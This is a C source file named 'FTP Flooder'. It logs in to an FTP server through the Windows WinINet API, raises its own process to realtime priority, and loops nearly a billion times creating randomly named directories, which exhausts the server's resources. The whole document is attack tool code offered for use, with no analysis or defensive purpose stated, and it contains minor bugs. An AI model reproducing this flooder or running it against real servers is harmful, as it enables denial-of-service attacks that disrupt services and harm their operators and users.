FTP Flooder

#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#include <time.h>

#pragma comment(lib, "wininet.lib")


char *randstr() {
    int i,len;
    char *res;
    char *szRandomize = "abcdefghijklmnopqrstuvwxyz1234567890";
    len =(rand()+8)%20;
    res =(char*)malloc(len+1);
    res[len] = 0;
    for (i=0; i<len; i++)
        res[i] = szRandomize[rand()%strlen(szRandomize)];

    return res;
}

int main()
{
    HINTERNET hInternet, hConnect;

    srand(time(0));

    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
    if(hInternet != NULL){
        hConnect = InternetConnect(hInternet, "127.0.0.1", INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
        if(hConnect != NULL){
            if(FtpSetCurrentDirectory(hConnect, "/") == FALSE){
                printf("Error on function: FtpSetCurrentDirectory(), Error-code: %s\n", GetLastError());
            }else{
                SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);

                for(int i=0; i<999999999; i++){
                    printf("Creating directory (%i): %s\n", i, randstr());
                    FtpCreateDirectory(hConnect, (LPCSTR)randstr());
                }
            }
        }else{
            printf("Error on function: InternetConnect(), Error-code: %s\n", GetLastError());
        }
    }else{
        printf("Error on function: InternetOpen(), Error-code: %s\n", GetLastError());
    }

    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
}